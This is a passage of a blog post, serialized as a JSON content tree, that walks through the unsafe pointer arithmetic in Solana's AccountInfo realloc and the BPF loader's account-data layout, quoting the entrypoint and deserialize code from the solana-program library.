new_len",{"type":23,"tag":504,"props":16331,"children":16332},{"style":5047},[16333],{"type":29,"value":357},{"type":23,"tag":504,"props":16335,"children":16336},{"style":5139},[16337],{"type":29,"value":16338},"saturating_sub",{"type":23,"tag":504,"props":16340,"children":16341},{"style":5058},[16342],{"type":29,"value":603},{"type":23,"tag":504,"props":16344,"children":16345},{"style":5041},[16346],{"type":29,"value":16300},{"type":23,"tag":504,"props":16348,"children":16349},{"style":5058},[16350],{"type":29,"value":8780},{"type":23,"tag":504,"props":16352,"children":16353},{"class":5016,"line":5821},[16354],{"type":23,"tag":504,"props":16355,"children":16356},{"style":5058},[16357],{"type":29,"value":9788},{"type":23,"tag":504,"props":16359,"children":16360},{"class":5016,"line":5851},[16361],{"type":23,"tag":504,"props":16362,"children":16363},{"style":5058},[16364],{"type":29,"value":5403},{"type":23,"tag":504,"props":16366,"children":16367},{"class":5016,"line":5859},[16368],{"type":23,"tag":504,"props":16369,"children":16370},{"emptyLinePlaceholder":15},[16371],{"type":29,"value":5734},{"type":23,"tag":504,"props":16373,"children":16374},{"class":5016,"line":5891},[16375,16380],{"type":23,"tag":504,"props":16376,"children":16377},{"style":5467},[16378],{"type":29,"value":16379},"    Ok",{"type":23,"tag":504,"props":16381,"children":16382},{"style":5058},[16383],{"type":29,"value":16384},"(())\n",{"type":23,"tag":504,"props":16386,"children":16387},{"class":5016,"line":5899},[16388],{"type":23,"tag":504,"props":16389,"children":16390},{"style":5058},[16391],{"type":29,"value":5965},{"type":23,"tag":32,"props":16393,"children":16394},{},[16395,16397,16403,16405,16410],{"type":29,"value":16396},"Oh. There's ",{"type":23,"tag":154,"props":16398,"children":16400},{"className":16399},[],[16401],{"type":29,"value":16402},"unsafe",{"type":29,"value":16404},". And no bounds check in sight. ",{"type":23,"tag":4321,"props":16406,"children":16407},{},[16408],{"type":29,"value":16409},"And",{"type":29,"value":16411}," pointer math. That doesn't look promising...",{"type":23,"tag":24,"props":16413,"children":16415},{"id":16414},"breaking-down-realloc",[16416,16418],{"type":29,"value":16417},"Breaking down ",{"type":23,"tag":154,"props":16419,"children":16421},{"className":16420},[],[16422],{"type":29,"value":15684},{"type":23,"tag":32,"props":16424,"children":16425},{},[16426,16428,16433],{"type":29,"value":16427},"Let's pick apart this ",{"type":23,"tag":154,"props":16429,"children":16431},{"className":16430},[],[16432],{"type":29,"value":16402},{"type":29,"value":16434}," block, since there's a lot going on here.",{"type":23,"tag":4743,"props":16436,"children":16438},{"className":5009,"code":16437,"language":5008,"meta":7,"style":7},"// First set new length in the serialized data\nlet ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n*ptr = new_len as u64;\n",[16439],{"type":23,"tag":154,"props":16440,"children":16441},{"__ignoreMap":7},[16442,16450,16537],{"type":23,"tag":504,"props":16443,"children":16444},{"class":5016,"line":5017},[16445],{"type":23,"tag":504,"props":16446,"children":16447},{"style":5021},[16448],{"type":29,"value":16449},"// First set new length in the serialized data\n",{"type":23,"tag":504,"props":16451,"children":16452},{"class":5016,"line":4868},[16453,16457,16461,16465,16469,16473,16477,16481,16485,16489,16493,16497,16501,16505,16509,16513,16517,16521,16525,16529,16533],{"type":23,"tag":504,"props":16454,"children":16455},{"style":5030},[16456],{"type":29,"value":13833},{"type":23,"tag":504,"props":16458,"children":16459},{"style":5041},[16460],{"type":29,"value":15903},{"type":23,"tag":504,"props":16462,"children":16463},{"style":5047},[16464],{"type":29,"value":5050},{"type":23,"tag":504,"props":16466,"children":16467},{"style":5030},[16468],{"type":29,"value":15843},{"type":23,"tag":504,"props":16470,"children":16471},{"style":5047},[16472],{"type":29,"value":357},{"type":23,"tag":504,"props":16474,"children":16475},{"style":5139},[16476],{"type":29,"value":15920},{"type":23,"tag":504,"props":16478,"children":16479},{"style":5058},[16480],{"type":29,"value":15925},{"type":23,"tag":504,"props":16482,"children":16483},{"style":5047},[16484],{"type":29,"value":5173},{"type":23,"tag":504,"props":16486,"children":16487},{"style":5139},[16488],{"type":29,"value":15934},{"type":23,"tag":504,"props":16490,"children":16491},{"style":5058},[16492],{"type":29,"value":15925},{"type":23,"tag":504,"props":16494,"children":16495},{"style":5047},[16496],{"type":29,"value":357},{"type":23,"tag":504,"props":16498,"children":16499},{"style":5139},[16500],{"type":29,"value":15947},{"type":23,"tag":504,"props":16502,"children":16503},{"style":5058},[16504],{"type":29,"value":603},{"type":23,"tag":504,"props":16506,"children":16507},{"style":5047},[16508],{"type":29,"value":6368},{"type":23,"tag":504,"props":16510,"children":16511},{"style":5083},[16512],{"type":29,"value":6124},{"type":23,"tag":504,"props":16514,"children":16515},{"style":5058},[16516],{"type":29,"value":5128},{"type":23,"tag":504,"props":16518,"children":16519},{"style":5030},[16520],{"type":29,"value":10887},{"type":23,"tag":504,"props":16522,"children":16523},{"style":5047},[16524],{"type":29,"value":11863},{"type":23,"tag":504,"props":16526,"children":16527},{"style":5030},[16528],{"type":29,"value":5783},{"type":23,"tag":504,"props":16530,"children":16531},{"style":5467},[16532],{"type":29,"value":7905},{"type":23,"tag":504,"props":16534,"children":16535},{"style":5058},[16536],{"type":29,"value":5061},{"type":23,"tag":504,"props":16538,"children":16539},{"class":5016,"line":4876},[16540,16544,16548,16552,16556,16560,16564],{"type":23,"tag":504,"props":16541,"children":16542},{"style":5047},[16543],{"type":29,"value":6613},{"type":23,"tag":504,"props":16545,"children":16546},{"style":5041},[16547],{"type":29,"value":15995},{"type":23,"tag":504,"props":16549,"children":16550},{"style":5047},[16551],{"type":29,"value":5050},{"type":23,"tag":504,"props":16553,"children":16554},{"style":5041},[16555],{"type":29,"value":16004},{"type":23,"tag":504,"props":16557,"children":16558},{"style":5030},[16559],{"type":29,"value":10873},{"type":23,"tag":504,"props":16561,"children":16562},{"style":5467},[16563],{"type":29,"value":7905},{"type":23,"tag":504,"props":16565,"children":16566},{"style":5058},[16567],{"type":29,"value":5061},{"type":23,"tag":32,"props":16569,"children":16570},{},[16571,16576],{"type":23,"tag":154,"props":16572,"children":16574},{"className":16573},[],[16575],{"type":29,"value":15920},{"type":29,"value":16577}," returns a mutable reference to the underlying buffer holding the data of the account. Normally in the course of contract execution, this comes from the serialized buffer passed into the contract by the BPF loader. So before we can understand the details here, let's take a quick detour...",{"type":23,"tag":320,"props":16579,"children":16581},{"id":16580},"bpf-loader-abi",[16582],{"type":29,"value":16583},"BPF Loader ABI",{"type":23,"tag":32,"props":16585,"children":16586},{},[16587,16589,16594,16596,16609],{"type":29,"value":16588},"Solana smart contracts have one job: interact with on-chain accounts. So what's the interface between the contract and the rest of the chain? To answer that, we're going to take a look at ",{"type":23,"tag":154,"props":16590,"children":16592},{"className":16591},[],[16593],{"type":29,"value":15699},{"type":29,"value":16595},"'s entrypoint code - the code that's added when you use the ",{"type":23,"tag":68,"props":16597,"children":16600},{"href":16598,"rel":16599},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#116-131",[72],[16601,16607],{"type":23,"tag":154,"props":16602,"children":16604},{"className":16603},[],[16605],{"type":29,"value":16606},"entrypoint!",{"type":29,"value":16608}," macro",{"type":29,"value":6533},{"type":23,"tag":4743,"props":16611,"children":16613},{"className":5009,"code":16612,"language":5008,"meta":7,"style":7},"#[no_mangle]\npub unsafe extern \"C\" fn entrypoint(input: *mut u8) -> u64 {\n    let (program_id, accounts, instruction_data) =\n        unsafe { $crate::entrypoint::deserialize(input) };\n    match $process_instruction(&program_id, &accounts, &instruction_data) {\n        Ok(()) => $crate::entrypoint::SUCCESS,\n        Err(error) => error.into(),\n    }\n}\n",[16614],{"type":23,"tag":154,"props":16615,"children":16616},{"__ignoreMap":7},[16617,16625,16697,16740,16792,16851,16894,16937,16944],{"type":23,"tag":504,"props":16618,"children":16619},{"class":5016,"line":5017},[16620],{"type":23,"tag":504,"props":16621,"children":16622},{"style":5058},[16623],{"type":29,"value":16624},"#[no_mangle]\n",{"type":23,"tag":504,"props":16626,"children":16627},{"class":5016,"line":4868},[16628,16632,16637,16642,16647,16651,16656,16660,16664,16668,16672,16676,16681,16685,16689,16693],{"type":23,"tag":504,"props":16629,"children":16630},{"style":5030},[16631],{"type":29,"value":15736},{"type":23,"tag":504,"props":16633,"children":16634},{"style":5030},[16635],{"type":29,"value":16636}," unsafe",{"type":23,"tag":504,"props":16638,"children":16639},{"style":5030},[16640],{"type":29,"value":16641}," extern",{"type":23,"tag":504,"props":16643,"children":16644},{"style":6297},[16645],{"type":29,"value":16646}," \"C\"",{"type":23,"tag":504,"props":16648,"children":16649},{"style":5030},[16650],{"type":29,"value":15741},{"type":23,"tag":504,"props":16652,"children":16653},{"style":5139},[16654],{"type":29,"value":16655}," entrypoint",{"type":23,"tag":504,"props":16657,"children":16658},{"style":5058},[16659],{"type":29,"value":603},{"type":23,"tag":504,"props":16661,"children":16662},{"style":5041},[16663],{"type":29,"value":10412},{"type":23,"tag":504,"props":16665,"children":16666},{"style":5047},[16667],{"type":29,"value":6533},{"type":23,"tag":504,"props":16669,"children":16670},{"style":5047},[16671],{"type":29,"value":11863},{"type":23,"tag":504,"props":16673,"children":16674},{"style":5030},[16675],{"type":29,"value":5783},{"type":23,"tag":504,"props":16677,"children":16678},{"style":5467},[16679],{"type":29,"value":16680}," u8",{"type":23,"tag":504,"props":16682,"children":16683},{"style":5058},[16684],{"type":29,"value":5128},{"type":23,"tag":504,"props":16686,"children":16687},{"style":5047},[16688],{"type":29,"value":15803},{"type":23,"tag":504,"props":16690,"children":16691},{"style":5467},[16692],{"type":29,"value":7905},{"type":23,"tag":504,"props":16694,"children":16695},{"style":5058},[16696],{"type":29,"value":5333},{"type":23,"tag":504,"props":16698,"children":16699},{"class":5016,"line":4876},[16700,16704,16708,16713,16717,16722,16726,16731,16735],{"type":23,"tag":504,"props":16701,"children":16702},{"style":5030},[16703],{"type":29,"value":5033},{"type":23,"tag":504,"props":16705,"children":16706},{"style":5058},[16707],{"type":29,"value":5110},{"type":23,"tag":504,"props":16709,"children":16710},{"style":5041},[16711],{"type":29,"value":16712},"program_id",{"type":23,"tag":504,"props":16714,"children":16715},{"style":5058},[16716],{"type":29,"value":4367},{"type":23,"tag":504,"props":16718,"children":16719},{"style":5041},[16720],{"type":29,"value":16721},"accounts",{"type":23,"tag":504,"props":16723,"children":16724},{"style":5058},[16725],{"type":29,"value":4367},{"type":23,"tag":504,"props":16727,"children":16728},{"style":5041},[16729],{"type":29,"value":16730},"instruction_data",{"type":23,"tag":504,"props":16732,"children":16733},{"style":5058},[16734],{"type":29,"value":5128},{"type":23,"tag":504,"props":16736,"children":16737},{"style":5047},[16738],{"type":29,"value":16739},"=\n",{"type":23,"tag":504,"props":16741,"children":16742},{"class":5016,"line":5099},[16743,16748,16752,16756,16761,16765,16770,16774,16779,16783,16787],{"type":23,"tag":504,"props":16744,"children":16745},{"style":5030},[16746],{"type":29,"value":16747},"        unsafe",{"type":23,"tag":504,"props":16749,"children":16750},{"style":5058},[16751],{"type":29,"value":11633},{"type":23,"tag":504,"props":16753,"children":16754},{"style":5047},[16755],{"type":29,"value":12334},{"type":23,"tag":504,"props":16757,"children":16758},{"style":5030},[16759],{"type":29,"value":16760},"crate",{"type":23,"tag":504,"props":16762,"children":16763},{"style":5047},[16764],{"type":29,"value":5530},{"type":23,"tag":504,"props":16766,"children":16767},{"style":5058},[16768],{"type":29,"value":16769},"entrypoint",{"type":23,"tag":504,"props":16771,"children":16772},{"style":5047},[16773],{"type":29,"value":5530},{"type":23,"tag":504,"props":16775,"children":16776},{"style":5139},[16777],{"type":29,"value":16778},"deserialize",{"type":23,"tag":504,"props":16780,"children":16781},{"style":5058},[16782],{"type":29,"value":603},{"type":23,"tag":504,"props":16784,"children":16785},{"style":5041},[16786],{"type":29,"value":10412},{"type":23,"tag":504,"props":16788,"children":16789},{"style":5058},[16790],{"type":29,"value":16791},") };\n",{"type":23,"tag":504,"props":16793,"children":16794},{"class":5016,"line":5203},[16795,16800,16805,16810,16814,16818,16822,16826,16830,16834,16838,16842,16846],{"type":23,"tag":504,"props":16796,"children":16797},{"style":5067},[16798],{"type":29,"value":16799},"    match",{"type":23,"tag":504,"props":16801,"children":16802},{"style":5047},[16803],{"type":29,"value":16804}," $",{"type":23,"tag":504,"props":16806,"children":16807},{"style":5041},[16808],{"type":29,"value":16809},"process_instruction",{"type":23,"tag":504,"props":16811,"children":16812},{"style":5058},[16813],{"type":29,"value":603},{"type":23,"tag":504,"props":16815,"children":16816},{"style":5047},[16817],{"type":29,"value":5151},{"type":23,"tag":504,"props":16819,"children":16820},{"style":5041},[16821],{"type":29,"value":16712},{"type":23,"tag":504,"props":16823,"children":16824},{"style":5058},[16825],{"type":29,"value":4367},{"type":23,"tag":504,"props":16827,"children":16828},{"style":5047},[16829],{"type":29,"value":5151},{"type":23,"tag":504,"props":16831,"children":16832},{"style":5041},[16833],{"type":29,"value":16721},{"type":23,"tag":504,"props":16835,"children":16836},{"style":5058},[16837],{"type":29,"value":4367},{"type":23,"tag":504,"props":16839,"children":16840},{"style":5047},[16841],{"type":29,"value":5151},{"type":23,"tag":504,"props":16843,"children":16844},{"style":5041},[16845],{"type":29,"value":16730},{"type":23,"tag":504,"props":16847,"children":16848},{"style":5058},[16849],{"type":29,"value":16850},") {\n",{"type":23,"tag":504,"props":16852,"children":16853},{"class":5016,"line":5308},[16854,16859,16864,16869,16873,16877,16881,16885,16889],{"type":23,"tag":504,"props":16855,"children":16856},{"style":5467},[16857],{"type":29,"value":16858},"        Ok",{"type":23,"tag":504,"props":16860,"children":16861},{"style":5058},[16862],{"type":29,"value":16863},"(()) ",{"type":23,"tag":504,"props":16865,"children":16866},{"style":5047},[16867],{"type":29,"value":16868},"=>",{"type":23,"tag":504,"props":16870,"children":16871},{"style":5047},[16872],{"type":29,"value":16804},{"type":23,"tag":504,"props":16874,"children":16875},{"style":5030},[16876],{"type":29,"value":16760},{"type":23,"tag":504,"props":16878,"children":16879},{"style":5047},[16880],{"type":29,"value":5530},{"type":23,"tag":504,"props":16882,"children":16883},{"style":5058},[16884],{"type":29,"value":16769},{"type":23,"tag":504,"props":16886,"children":16887},{"style":5047},[16888],{"type":29,"value":5530},{"type":23,"tag":504,"props":16890,"children":16891},{"style":5058},[16892],{"type":29,"value":16893},"SUCCESS,\n",{"type":23,"tag":504,"props":16895,"children":16896},{"class":5016,"line":5336},[16897,16902,16906,16911,16915,16919,16924,16928,16933],{"type":23,"tag":504,"props":16898,"children":16899},{"style":5467},[16900],{"type":29,"value":16901},"        Err",{"type":23,"tag":504,"props":16903,"children":16904},{"style":5058},[16905],{"type":29,"value":603},{"type":23,"tag":504,"props":16907,"children":16908},{"style":5041},[16909],{"type":29,"value":16910},"error",{"type":23,"tag":504,"props":16912,"children":16913},{"style":5058},[16914],{"type":29,"value":5128},{"type":23,"tag":504,"props":16916,"children":16917},{"style":5047},[16918],{"type":29,"value":16868},{"type":23,"tag":504,"props":16920,"children":16921},{"style":5041},[16922],{"type":29,"value":16923}," error",{"type":23,"tag":504,"props":16925,"children":16926},{"style":5047},[16927],{"type":29,"value":357},{"type":23,"tag":504,"props":16929,"children":16930},{"style":5139},[16931],{"type":29,"value":16932},"into",{"type":23,"tag":504,"props":16934,"children":16935},{"style":5058},[16936],{"type":29,"value":5540},{"type":23,"tag":504,"props":16938,"children":16939},{"class":5016,"line":5349},[16940],{"type":23,"tag":504,"props":16941,"children":16942},{"style":5058},[16943],{"type":29,"value":5403},{"type":23,"tag":504,"props":16945,"children":16946},{"class":5016,"line":5367},[16947],{"type":23,"tag":504,"props":16948,"children":16949},{"style":5058},[16950],{"type":29,"value":5965},{"type":23,"tag":32,"props":16952,"children":16953},{},[16954,16956,16961,16963,16969,16971,16978,16980,16986,16988,16995],{"type":29,"value":16955},"What we see here is the contract's real entrypoint - it takes a ",{"type":23,"tag":154,"props":16957,"children":16959},{"className":16958},[],[16960],{"type":29,"value":5470},{"type":29,"value":16962}," buffer in from the loader, and calls ",{"type":23,"tag":154,"props":16964,"children":16966},{"className":16965},[],[16967],{"type":29,"value":16968},"solana_program::entrypoint::deserialize",{"type":29,"value":16970},", which then ",{"type":23,"tag":68,"props":16972,"children":16975},{"href":16973,"rel":16974},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#281-337",[72],[16976],{"type":29,"value":16977},"parses out",{"type":29,"value":16979}," all the ",{"type":23,"tag":154,"props":16981,"children":16983},{"className":16982},[],[16984],{"type":29,"value":16985},"AccountInfo",{"type":29,"value":16987},"s, instruction data, and the current running program ID. We can see how the data buffer is ",{"type":23,"tag":68,"props":16989,"children":16992},{"href":16990,"rel":16991},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#308-316",[72],[16993],{"type":29,"value":16994},"laid out",{"type":29,"value":6533},{"type":23,"tag":4743,"props":16997,"children":16999},{"className":5009,"code":16998,"language":5008,"meta":7,"style":7},"#[allow(clippy::cast_ptr_alignment)]\nlet data_len = *(input.add(offset) as *const u64) as usize;\noffset += size_of::\u003Cu64>();\n\nlet data = Rc::new(RefCell::new({\n    from_raw_parts_mut(input.add(offset), data_len)\n}));\noffset += data_len + MAX_PERMITTED_DATA_INCREASE;\noffset += (offset as *const u8).align_offset(BPF_ALIGN_OF_U128); // padding\n",[17000],{"type":23,"tag":154,"props":17001,"children":17002},{"__ignoreMap":7},[17003,17020,17100,17133,17140,17188,17233,17241,17265],{"type":23,"tag":504,"props":17004,"children":17005},{"class":5016,"line":5017},[17006,17011,17015],{"type":23,"tag":504,"props":17007,"children":17008},{"style":5058},[17009],{"type":29,"value":17010},"#[allow(clippy",{"type":23,"tag":504,"props":17012,"children":17013},{"style":5047},[17014],{"type":29,"value":5530},{"type":23,"tag":504,"props":17016,"children":17017},{"style":5058},[17018],{"type":29,"value":17019},"cast_ptr_alignment)]\n",{"type":23,"tag":504,"props":17021,"children":17022},{"class":5016,"line":4868},[17023,17027,17032,17036,17040,17044,17048,17052,17056,17060,17064,17068,17072,17076,17080,17084,17088,17092,17096],{"type":23,"tag":504,"props":17024,"children":17025},{"style":5030},[17026],{"type":29,"value":13833},{"type":23,"tag":504,"props":17028,"children":17029},{"style":5041},[17030],{"type":29,"value":17031}," data_len",{"type":23,"tag":504,"props":17033,"children":17034},{"style":5047},[17035],{"type":29,"value":5050},{"type":23,"tag":504,"props":17037,"children":17038},{"style":5047},[17039],{"type":29,"value":11863},{"type":23,"tag":504,"props":17041,"children":17042},{"style":5058},[17043],{"type":29,"value":603},{"type":23,"tag":504,"props":17045,"children":17046},{"style":5041},[17047],{"type":29,"value":10412},{"type":23,"tag":504,"props":17049,"children":17050},{"style":5047},[17051],{"type":29,"value":357},{"type":23,"tag":504,"props":17053,"children":17054},{"style":5139},[17055],{"type":29,"value":11684},{"type":23,"tag":504,"props":17057,"children":17058},{"style":5058},[17059],{"type":29,"value":603},{"type":23,"tag":504,"props":17061,"children":17062},{"style":5041},[17063],{"type":29,"value":15947},{"type":23,"tag":504,"props":17065,"children":17066},{"style":5058},[17067],{"type":29,"value":5128},{"type":23,"tag":504,"props":17069,"children":17070},{"style":5030},[17071],{"type":29,"value":10887},{"type":23,"tag":504,"props":17073,"children":17074},{"style":5047},[17075],{"type":29,"value":11863},{"type":23,"tag":504,"props":17077,"children":17078},{"style":5030},[17079],{"type":29,"value":11701},{"type":23,"tag":504,"props":17081,"children":17082},{"style":5467},[17083],{"type":29,"value":7905},{"type":23,"tag":504,"props":17085,"children":17086},{"style":5058},[17087],{"type":29,"value":5128},{"type":23,"tag":504,"props":17089,"children":17090},{"style":5030},[17091],{"type":29,"value":10887},{"type":23,"tag":504,"props":17093,"children":17094},{"style":5467},[17095],{"type":29,"value":15777},{"type":23,"tag":504,"props":17097,"children":17098},{"style":5058},[17099],{"type":29,"value":5061},{"type":23,"tag":504,"props":17101,"children":17102},{"class":5016,"line":4876},[17103,17107,17112,17117,17121,17125,17129],{"type":23,"tag":504,"props":17104,"children":17105},{"style":5041},[17106],{"type":29,"value":15947},{"type":23,"tag":504,"props":17108,"children":17109},{"style":5047},[17110],{"type":29,"value":17111}," +=",{"type":23,"tag":504,"props":17113,"children":17114},{"style":5139},[17115],{"type":29,"value":17116}," size_of",{"type":23,"tag":504,"props":17118,"children":17119},{"style":5047},[17120],{"type":29,"value":5530},{"type":23,"tag":504,"props":17122,"children":17123},{"style":5058},[17124],{"type":29,"value":2658},{"type":23,"tag":504,"props":17126,"children":17127},{"style":5467},[17128],{"type":29,"value":10087},{"type":23,"tag":504,"props":17130,"children":17131},{"style":5058},[17132],{"type":29,"value":10497},{"type":23,"tag":504,"props":17134,"children":17135},{"class":5016,"line":5099},[17136],{"type":23,"tag":504,"props":17137,"children":17138},{"emptyLinePlaceholder":15},[17139],{"type":29,"value":5734},{"type":23,"tag":504,"props":17141,"children":17142},{"class":5016,"line":5203},[17143,17147,17152,17156,17161,17165,17170,17175,17179,17183],{"type":23,"tag":504,"props":17144,"children":17145},{"style":5030},[17146],{"type":29,"value":13833},{"type":23,"tag":504,"props":17148,"children":17149},{"style":5041},[17150],{"type":29,"value":17151}," data",{"type":23,"tag":504,"props":17153,"children":17154},{"style":5047},[17155],{"type":29,"value":5050},{"type":23,"tag":504,"props":17157,"children":17158},{"style":5467},[17159],{"type":29,"value":17160}," Rc",{"type":23,"tag":504,"props":17162,"children":17163},{"style":5047},[17164],{"type":29,"value":5530},{"type":23,"tag":504,"props":17166,"children":17167},{"style":5139},[17168],{"type":29,"value":17169},"new",{"type":23,"tag":504,"props":17171,"children":17172},{"style":5058},[17173],{"type":29,"value":17174},"(RefCell",{"type":23,"tag":504,"props":17176,"children":17177},{"style":5047},[17178],{"type":29,"value":5530},{"type":23,"tag":504,"props":17180,"children":17181},{"style":5139},[17182],{"type":29,"value":17169},{"type":23,"tag":504,"props":17184,"children":17185},{"style":5058},[17186],{"type":29,"value":17187},"({\n",{"type":23,"tag":504,"props":17189,"children":17190},{"class":5016,"line":5308},[17191,17196,17200,17204,17208,17212,17216,17220,17225,17229],{"type":23,"tag":504,"props":17192,"children":17193},{"style":5139},[17194],{"type":29,"value":17195},"    from_raw_parts_mut",{"type":23,"tag":504,"props":17197,"children":17198},{"style":5058},[17199],{"type":29,"value":603},{"type":23,"tag":504,"props":17201,"children":17202},{"style":5041},[17203],{"type":29,"value":10412},{"type":23,"tag":504,"props":17205,"children":17206},{"style":5047},[17207],{"type":29,"value":357},{"type":23,"tag":504,"props":17209,"children":17210},{"style":5139},[17211],{"type":29,"value":11684},{"type":23,"tag":504,"props":17213,"children":17214},{"style":5058},[17215],{"type":29,"value":603},{"type":23,"tag":504,"props":17217,"children":17218},{"style":5041},[17219],{"type":29,"value":15947},{"type":23,"tag":504,"props":17221,"children":17222},{"style":5058},[17223],{"type":29,"value":17224},"), ",{"type":23,"tag":504,"props":17226,"children":17227},{"style":5041},[17228],{"type":29,"value":15852},{"type":23,"tag":504,"props":17230,"children":17231},{"style":5058},[17232],{"type":29,"value":5200},{"type":23,"tag":504,"props":17234,"children":17235},{"class":5016,"line":5336},[17236],{"type":23,"tag":504,"props":17237,"children":17238},{"style":5058},[17239],{"type":29,"value":17240},"}));\n",{"type":23,"tag":504,"props":17242,"children":17243},{"class":5016,"line":5349},[17244,17248,17252,17256,17260],{"type":23,"tag":504,"props":17245,"children":17246},{"style":5041},[17247],{"type":29,"value":15947},{"type":23,"tag":504,"props":17249,"children":17250},{"style":5047},[17251],{"type":29,"value":17111},{"type":23,"tag":504,"props":17253,"children":17254},{"style":5041},[17255],{"type":29,"value":17031},{"type":23,"tag":504,"props":17257,"children":17258},{"style":5047},[17259],{"type":29,"value":10950},{"type":23,"tag":504,"props":17261,"children":17262},{"style":5058},[17263],{"type":29,"value":17264}," MAX_PERMITTED_DATA_INCREASE;\n",{"type":23,"tag":504,"props":17266,"children":17267},{"class":5016,"line":5367},[17268,17272,17276,17280,17284,17288,17292,17296,17300,17304,17308,17313,17318],{"type":23,"tag":504,"props":17269,"children":17270},{"style":5041},[17271],{"type":29,"value":15947},{"type":23,"tag":504,"props":17273,"children":17274},{"style":5047},[17275],{"type":29,"value":17111},{"type":23,"tag":504,"props":17277,"children":17278},{"style":5058},[17279],{"type":29,"value":5110},{"type":23,"tag":504,"props":17281,"children":17282},{"style":5041},[17283],{"type":29,"value":15947},{"type":23,"tag":504,"props":17285,"children":17286},{"style":5030},[17287],{"type":29,"value":10873},{"type":23,"tag":504,"props":17289,"children":17290},{"style":5047},[17291],{"type":29,"value":11863},{"type":23,"tag":504,"props":17293,"children":17294},{"style":5030},[17295],{"type":29,"value":11701},{"type":23,"tag":504,"props":17297,"children":17298},{"style":5467},[17299],{"type":29,"value":16680},{"type":23,"tag":504,"props":17301,"children":17302},{"style":5058},[17303],{"type":29,"value":933},{"type":23,"tag":504,"props":17305,"children":17306},{"style":5047},[17307],{"type":29,"value":357},{"type":23,"tag":504,"props":17309,"children":17310},{"style":5139},[17311],{"type":29,"value":17312},"align_offset",{"type":23,"tag":504,"props":17314,"children":17315},{"style":5058},[17316],{"type":29,"value":17317},"(BPF_ALIGN_OF_U128); ",{"type":23,"tag":504,"props":17319,"children":17320},{"style":5021},[17321],{"type":29,"value":17322},"// padding\n",{"type":23,"tag":32,"props":17324,"children":17325},{},[17326,17328,17333,17335,17341,17343,17354,17356,17361,17363,17369,17371,17377,17379,17385],{"type":29,"value":17327},"In English, we have the length of the data, as a ",{"type":23,"tag":154,"props":17329,"children":17331},{"className":17330},[],[17332],{"type":29,"value":10087},{"type":29,"value":17334},", followed immediately by the data, and an additional ",{"type":23,"tag":154,"props":17336,"children":17338},{"className":17337},[],[17339],{"type":29,"value":17340},"MAX_PERMITTED_DATA_INCREASE",{"type":29,"value":17342}," of reserve space (+ padding) after that. Using the length and data pointer, we construct a Rust slice reference (",{"type":23,"tag":68,"props":17344,"children":17347},{"href":17345,"rel":17346},"https://doc.rust-lang.org/std/slice/fn.from_raw_parts_mut.html",[72],[17348],{"type":23,"tag":154,"props":17349,"children":17351},{"className":17350},[],[17352],{"type":29,"value":17353},"slice::from_raw_parts_mut",{"type":29,"value":17355},") - slices are how Rust represents a, well, ",{"type":23,"tag":4321,"props":17357,"children":17358},{},[17359],{"type":29,"value":17360},"slice",{"type":29,"value":17362}," (contiguous chunk) of memory - then wrap it up inside a ",{"type":23,"tag":154,"props":17364,"children":17366},{"className":17365},[],[17367],{"type":29,"value":17368},"Rc\u003CRefCell\u003CT>>",{"type":29,"value":17370},", giving us the unwieldy-looking type of ",{"type":23,"tag":154,"props":17372,"children":17374},{"className":17373},[],[17375],{"type":29,"value":17376},"AccountInfo.data",{"type":29,"value":17378},": ",{"type":23,"tag":154,"props":17380,"children":17382},{"className":17381},[],[17383],{"type":29,"value":17384},"Rc\u003CRefCell\u003C&mut [u8]>>",{"type":29,"value":357},{"type":23,"tag":32,"props":17387,"children":17388},{},[17389,17391,17398],{"type":29,"value":17390},"Now, what's the point of this complicated type? That's because when the same account is passed in multiple times to a program, instead of duplicating the data for the account, the BPF loader simply refers back to the first instance of the account. On the Rust side, that corresponds to ",{"type":23,"tag":68,"props":17392,"children":17395},{"href":17393,"rel":17394},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#335-336",[72],[17396],{"type":29,"value":17397},"cloning the referenced account",{"type":29,"value":6533},{"type":23,"tag":4743,"props":17400,"children":17402},{"className":5009,"code":17401,"language":5008,"meta":7,"style":7},"// Duplicate account, clone the original\naccounts.push(accounts[dup_info as usize].clone());\n",[17403],{"type":23,"tag":154,"props":17404,"children":17405},{"__ignoreMap":7},[17406,17414],{"type":23,"tag":504,"props":17407,"children":17408},{"class":5016,"line":5017},[17409],{"type":23,"tag":504,"props":17410,"children":17411},{"style":5021},[17412],{"type":29,"value":17413},"// Duplicate account, clone the original\n",{"type":23,"tag":504,"props":17415,"children":17416},{"class":5016,"line":4868},[17417,17421,17425,17429,17433,17437,17441,17446,17450,17454,17458,17462,17467],{"type":23,"tag":504,"props":17418,"children":17419},{"style":5041},[17420],{"type":29,"value":16721},{"type":23,"tag":504,"props":17422,"children":17423},{"style":5047},[17424],{"type":29,"value":357},{"type":23,"tag":504,"props":17426,"children":17427},{"style":5139},[17428],{"type":29,"value":5874},{"type":23,"tag":504,"props":17430,"children":17431},{"style":5058},[17432],{"type":29,"value":603},{"type":23,"tag":504,"props":17434,"children":17435},{"style":5041},[17436],{"type":29,"value":16721},{"type":23,"tag":504,"props":17438,"children":17439},{"style":5058},[17440],{"type":29,"value":1380},{"type":23,"tag":504,"props":17442,"children":17443},{"style":5041},[17444],{"type":29,"value":17445},"dup_info",{"type":23,"tag":504,"props":17447,"children":17448},{"style":5030},[17449],{"type":29,"value":10873},{"type":23,"tag":504,"props":17451,"children":17452},{"style":5467},[17453],{"type":29,"value":15777},{"type":23,"tag":504,"props":17455,"children":17456},{"style":5058},[17457],{"type":29,"value":1422},{"type":23,"tag":504,"props":17459,"children":17460},{"style":5047},[17461],{"type":29,"value":357},{"type":23,"tag":504,"props":17463,"children":17464},{"style":5139},[17465],{"type":29,"value":17466},"clone",{"type":23,"tag":504,"props":17468,"children":17469},{"style":5058},[17470],{"type":29,"value":17471},"());\n",{"type":23,"tag":32,"props":17473,"children":17474},{},[17475,17477,17482,17484,17489,17491,17496,17498,17503,17504,17510,17512,17517,17519,17531,17533,17538],{"type":29,"value":17476},"Since ",{"type":23,"tag":154,"props":17478,"children":17480},{"className":17479},[],[17481],{"type":29,"value":5761},{"type":29,"value":17483}," inside the ",{"type":23,"tag":154,"props":17485,"children":17487},{"className":17486},[],[17488],{"type":29,"value":16985},{"type":29,"value":17490}," is a 